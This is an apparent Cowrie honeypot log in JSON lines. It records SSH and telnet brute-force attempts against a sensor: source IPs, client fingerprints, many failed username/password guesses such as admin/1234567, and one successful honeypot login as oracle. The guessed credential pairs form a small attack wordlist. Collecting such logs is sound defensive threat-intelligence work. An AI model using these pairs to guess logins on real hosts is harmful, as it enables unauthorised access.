{"eventid":"cowrie.login.failed","username":"user","password":"1a2a3a","message":"login attempt [user/1a2a3a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:29.731329Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:29.786459Z","src_ip":"84.239.42.8","session":"73aa069fb8ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"197","message":"login attempt [user/197] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:30.840545Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:30.915734Z","src_ip":"84.239.42.8","session":"73aa069fb8ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:13:31.948492Z","src_ip":"2.57.121.25","session":"941ac6ed0507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33177,"dst_ip":"10.17.0.5","dst_port":22,"session":"e989ce0324a3","protocol":"ssh","message":"New connection: 168.167.228.74:33177 (10.17.0.5:22) [session: e989ce0324a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:21.546668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:21.551893Z","src_ip":"168.167.228.74","session":"e989ce0324a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:21.803901Z","src_ip":"168.167.228.74","session":"e989ce0324a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"1234","message":"login attempt [sftpuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:22.840399Z","src_ip":"168.167.228.74","session":"e989ce0324a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:24.096183Z","src_ip":"168.167.228.74","session":"e989ce0324a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":62367,"dst_ip":"159.203.135.109","dst_port":22,"session":"8565ae4e7b52","protocol":"ssh","message":"New connection: 2.57.121.112:62367 (159.203.135.109:22) [session: 8565ae4e7b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:34.549036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:34.553685Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":21996,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dfbdccd681d","protocol":"ssh","message":"New connection: 213.209.159.56:21996 (159.203.135.109:22) [session: 1dfbdccd681d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:34.570592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:34.574871Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:34.654825Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:34.661380Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya","message":"login attempt [aya/aya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:35.070698Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pppppppppp","message":"login attempt [admin/pppppppppp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:35.136590Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya1","message":"login attempt [aya/aya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:36.157011Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"potatoe","message":"login attempt [admin/potatoe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:36.240033Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya123","message":"login attempt [aya/aya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:37.242711Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"porpoise","message":"login attempt [admin/porpoise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:37.345730Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya1234","message":"login attempt [aya/aya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:38.329157Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"popol","message":"login attempt [admin/popol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:38.449050Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya12345","message":"login attempt [aya/aya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:39.415643Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pomona","message":"login attempt [admin/pomona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:39.553379Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:40.501930Z","src_ip":"213.209.159.56","session":"1dfbdccd681d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:14:40.657751Z","src_ip":"2.57.121.112","session":"8565ae4e7b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33178,"dst_ip":"10.17.0.5","dst_port":22,"session":"128ebf936f5e","protocol":"ssh","message":"New connection: 168.167.228.74:33178 (10.17.0.5:22) [session: 128ebf936f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:15:28.851862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:15:28.856485Z","src_ip":"168.167.228.74","session":"128ebf936f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:15:29.112390Z","src_ip":"168.167.228.74","session":"128ebf936f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql2026","message":"login attempt [mysql/mysql2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:15:30.163661Z","src_ip":"168.167.228.74","session":"128ebf936f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:15:31.424856Z","src_ip":"168.167.228.74","session":"128ebf936f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.167.87.131","src_port":56820,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a5a60bf66ce","protocol":"telnet","message":"New connection: 152.167.87.131:56820 (10.17.0.5:23) [session: 6a5a60bf66ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:07.116937Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":42980,"dst_ip":"159.203.135.109","dst_port":22,"session":"95186dee14f7","protocol":"ssh","message":"New connection: 193.46.255.86:42980 (159.203.135.109:22) [session: 95186dee14f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:15.285454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:15.293623Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:15.419497Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"telnet","message":"login attempt [telnet/telnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:15.995787Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abc123","message":"login attempt [telnet/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:17.125248Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abcd123","message":"login attempt [telnet/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:18.254241Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abcd1234","message":"login attempt [telnet/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:19.384195Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.237080335617065,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:20.353925Z","src_ip":"152.167.87.131","session":"6a5a60bf66ce","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abc1234","message":"login attempt [telnet/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:20.512634Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:21.642267Z","src_ip":"193.46.255.86","session":"95186dee14f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33179,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9e9a6aa2332","protocol":"ssh","message":"New connection: 168.167.228.74:33179 (10.17.0.5:22) [session: b9e9a6aa2332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:37.149428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:37.154706Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:37.414538Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1deb397922e","protocol":"ssh","message":"New connection: 87.251.64.176:11272 (10.17.0.5:22) [session: b1deb397922e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:38.103528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:38.108436Z","src_ip":"87.251.64.176","session":"b1deb397922e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:38.205468Z","src_ip":"87.251.64.176","session":"b1deb397922e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123456","message":"login attempt [oracle/oracle123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:16:38.470080Z","src_ip":"168.167.228.74","session":"b9e9a6aa2332","protocol":"ssh"}
